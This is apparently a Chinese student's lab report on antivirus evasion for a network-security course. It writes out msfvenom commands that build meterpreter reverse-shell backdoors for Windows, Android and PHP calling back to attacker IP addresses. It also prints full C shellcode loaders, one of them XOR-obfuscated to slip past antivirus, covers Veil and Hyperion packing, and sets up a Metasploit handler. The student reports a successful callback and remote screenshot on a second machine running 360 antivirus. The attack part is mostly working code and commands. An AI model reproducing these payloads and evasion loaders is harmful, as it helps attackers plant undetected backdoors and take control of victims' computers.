【网络对抗技术】20181234 Exp3 免杀原理与实践
目录
一、实验目标
二、基础问题回答
三、实验过程
四、实践与体会
一、实验目标
- 正确使用msf编码器,用msfvenom指令生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
- 通过组合应用各种技术实现恶意代码免杀 (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。 - 启发式恶意软件的检测
将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。 - 基于行为的恶意软件检测
在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉。
(2)免杀是做什么?
- 免杀技术全称为反杀毒技术,简称“免杀”,指的是一种能使病毒木马免于被杀毒软件查杀的技术。免杀的内容是使用一些技术手段对恶意软件做处理,如修改病毒、木马的内容改变特征码让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有EXE
- 加壳(压缩壳 加密壳)
- 有shellcode(像Meterpreter)
- 利用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译
- veil-evasion
- 半手工
- 只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
- 通讯方式
三、实验过程
1.正确使用msf编码器,用msfvenom指令生成如jar之类的其他文件
-
正确使用msf编码器——使用 msfvenom -l encoders查看可以使用的编码器来生成不同的后门。

- 对实验二生成的 20181234_backdoor.exe 后门程序用VirusTotal进行扫描。

- 通过 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.81.129 LPORT=1234 -f exe > zyx_encoded.exe 命令生成一次编码的后门程序;参数 -b 用于去除结束符 '\x00' ; -p
用来指定要使用的payload; -f 来指定payload的输出格式。

- 使用VirusTotal对 zyx-encoded.exe 进行扫描。

- 通过 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.81.129 LPORT=1234 -f exe > zyx_encoded10.exe 命令生成十次编码的后门程序;参数 -i 用于设置迭代次数。

- 对生成的 zyx-encoded10.exe 后门程序,使用VirusTotal进行扫描。

同一次编码相比:略有起伏,没实质变化

- 使用VirusTotal检测结果


- 使用VirusTotal检测结果

- 生成apk文件: msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.81.129 lport=1234 x> zyx_backdoor.apk

- 使用VirusTotal检测结果

- 生成php文件: msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.81.129 lport=1234 x> zyx_backdoor.php

- 使用VirusTotal检测结果


- 使用VirusTotal检测结果

免杀率高达100%,网站上没有一款杀软杀出来这个后门,说明杀软厂商对Linux的恶意代码查杀力度还需要提高!
2.使用veil-evasion生成后门程序及检测
-
下载前的准备:
apt-get install libncurses5* apt-get install libavutil55* apt-get install gcc-mingw-w64* apt-get install wine32 git clone https://github.com/Veil-Framework/Veil
- 安装: veil----->y或s

这里我因为实在装不上veil就拷贝了同学的虚拟机做
- 等待安装成功后,输入 use 1 ,进入Evasion工具:

- 输入 list ,可用查看有哪些攻击载荷可用使用:

- 输入命令 use 22 进入配置界面:

- 设置ip地址和端口号:

set LHOST 192.168.1.165 //设置反弹连接IP,kali的IP地址 set LPORT 1234 //设置端口 options //查看
- 输入 generate ,生成文件,接着输入你想要
payload的名字: veil_c_1234 ,文件的保存地址是:/var/lib/veil/output/source/veil_c_1234.bat

-
使用VirusTotal检测结果


-
设置IP地址和端口号(同上面步骤一致)
- 使用 generate 命令生成文件,接着输入生成的playload的名称 veil_cc_1234 ,保存路径为 /var/lib/veil/output/compiled/veil_cc_1234.exe

- 使用VirusTotal检测结果


-
设置IP地址和端口号(同上面步骤一致)
- 使用命令 generate 生成文件,接着输入生成的playload的名称:veil_p_1234 ,保存路径为: /var/lib/veil/output/source/veil_p_1234.py

- 使用VirusTotal检测结果

3.使用C+shellcde编程
- 通过命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 -f c 生成一段shellcode。

- 命令行中通过 vim 1234.c 创建.c文件,将生产成的 buf [ ] 赋值到代码中。
unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52" "\x0c\x8b\x52\x14\x89\xe5\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49" "\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3" "\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac" "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24" "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x81\x68\x02" "\x00\x04\xd2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
- 通过 i686-w64-mingw32-g++ 1234.c -o 1234.exe 命令,将 .c 文件转化为可执行文件

- 使用VirusTotal检测结果

4 加壳工具

- 使用VirusTotal检测结果


!!!!想用加密壳加密东西,执行命令时所在的路径必须得和hyperion.exe所在的保持一致命令才能有效执行。 所以在执行加密操作前,必须得在命令行中将之前的文件拷贝到同一目录下。
cp ke_1234.exe /usr/share/windows-resources/hyperion/
wine hyperion.exe -v ke_1234.exe mke_1234.exe
执行过程有三个阶段 ------------------------------- | Stage 1: Analyzing input file | ------------------------------- Opening ke_1234.exe Successfully copied file to memory location: 0x231070 Found valid MZ signature Found pointer to PE Header: 0x80 Found valid PE signature Found 32 bit binary Image base is 0x400000 Image size is 0x20000 ------------------------------- | Stage 2: Generating ASM files | ------------------------------- Input file size + Checksum: 0xd9f1 Rounded up to a multiple of key size: 0xda00 INFILE_SIZE equ 0xda00 written to /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc Generated checksum: 0x39caa0 Generated Encryption Key: 0x2 0x2 0x0 0x1 0x3 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 Written encrypted input file as FASM array to: /usr/share/windows-resources/hyperion/Src/Container/32/infile_array.inc IMAGE_BASE equ 0x400000 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_base.inc IMAGE_SIZE equ 0x20000 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_size.inc REAL_KEY_SIZE equ 0x6 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc REAL_KEY_RANGE equ 0x4 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc include 'logfile_disable.asm' written to /usr/share/windows-resources/hyperion/Src/Container/32/logfile_select.asm include '../../Payloads/Aes/32/aes.inc' written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm include '../../Payloads/Aes/32/aes.asm' written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm include '../../Payloads/Aes/32/decryptexecutable.asm' written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm -------------------------------- | Stage 3: Generating Executable | -------------------------------- Starting FASM with the following parameters: Commandline: /usr/share/windows-resources/hyperion/Fasm/FASM.EXE /usr/share/windows-resources/hyperion/Src/Container/32/main.asm mke_1234.exe FASM Working Directory: Z:\usr\share\windows-resources\hyperion flat assembler version 1.71.54 (1310719 kilobytes memory) 7 passes, 0.3 seconds, 71680 bytes. Done :-)

- 使用VirusTotal检测结果

免杀效果和上压缩壳是一样的,并没有提升多少!
5.通过组合C+shellcode+逆序实现恶意代码免杀
- 先使用语句生成一段shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 -f c IP地址和端口号都是攻击方kali的,让被攻击方主动连接攻击方。

- 在windows下生成一个 s-20181234.c 文件,并写入一下代码:
unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49" "\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b\x48\x18\x50\x01\xd3" "\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac" "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24" "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x81\x68\x02" "\x00\x04\xd2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int i; for (i = 0; i < sizeof(buf); i++) { buf[i] ^= 0x01; printf("\\x%x",buf[i]); } }
- 把运行后生成的逆序复制下来

- 在kali中输入指令 vi ke-s-20181234.c 编写生成的.c文件:
unsigned char buf[] ="\xfd\xe9\x8e\x1\x1\x1\x61 \x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a \x53\x15\x8a\x73\x29\x30\xfe\xe\xb6\x4b\x27\x30 \xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6 \x48\x74\xee\x53\x56\x8a\x53\x11\x8a\x43\x3d\x0\xd1 \x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x8a\x59\x21\x8a \x49\x19\x51\x0\xd2\x84\xc8\x75\x3d\x30\xfe\x48\x8a \x35\x8a\x0\xd7\x30\xc1\xad\xc0\xce\xc\x0\xc6\x39\xe1 \x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59 \x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5 \x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50 \xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c \x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d \x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5 \x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9 \x50\x80\x69\x3\x1\x5\xd3\x88\xe7\x51\x51\x51\x51\x41 \x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57 \x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f \x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69 \x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b \x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe \xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe \xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51 \x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe \xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a \xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3 \x57\x6b\x1\x52\xfe\xd4\x1"; int main() { int i; for (i = 0; i < sizeof(buf); i++) { buf[i] ^= 0x01; } int (*func)() = (int(*)())buf; func(); }
- 使用联想电脑管家对生成的后门程序ke-s-20181234.exe进行检测,结果没有被检测到。

6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 首先将kali转换为“桥接模式”,重新生成免杀软件。
- 在自己的kali输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.165 lport=1234 -f raw -o 1234.raw

- 在然后在对方的电脑上输入 shellcode_launcher.exe -i 1234.raw 运行刚生成的文件(对方使用的是360杀毒,扫描后未发现风险)


- 在自己的电脑上依次输入:
msfconsole use exploit/multi/handler //监听设置payload set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.1.165 //kali端的IP地址 set LPORT 1234 //与之前输入的端口号一致 exploit
成功实现回连!
- 输入命令 dir 和 screenshot 进行测试,成功获取对方的信息和桌面截图


四、实践与体会
1-问题与解决
1)无法安装veil
为了装veil,我装了3天,试了各种各样的方法还是会报这个错。

这个问题至今没有解决,最后veil这部分的实验是拷贝了别人的虚拟机完成的。
2)veil无法生成后门文件

解决:在进入veil前先进入root模式,就可以正常生成文件了
3)exe文件提示由于找不到libgcc_s_dw2-1.dll,无法继续执行编码
在使用C语言调用shellcode生成文件后,放置到windows下会出现提示:

解决:在kali中输入命令 locate libgcc_s_dw2-1.dll //寻找该dll文件,然后将其放入与exe文件相同目录下,将 libgcc_s_dw2-1.dll 放入后,还会弹出另一个弹窗,用相同的方法解决即可。
2-实践体会
这次实验比上次难度提升不少,使用的命令和工具也变多,同时在完成免杀实验时,杀毒软件也是比较重要的一环。经过这次实验,我发现加壳或加密壳,还有多次编码都没有明显提高免杀效果,可以看出现在的杀软公司确实在日益进步。当然有的步骤免杀成功,也为我们提了醒,要加强自己的安全意识,防范未知后门入驻电脑!
五、开启杀软能绝对防止电脑中恶意代码吗?
答:不能,以目前各个公司的科技水平,没有办法做到绝对防范,更何况恶意代码也是“实时更新”,想做到绝对防范是一件不可能的事。我们要做的就是提高自己的安全意识。


浙公网安备 33010602011771号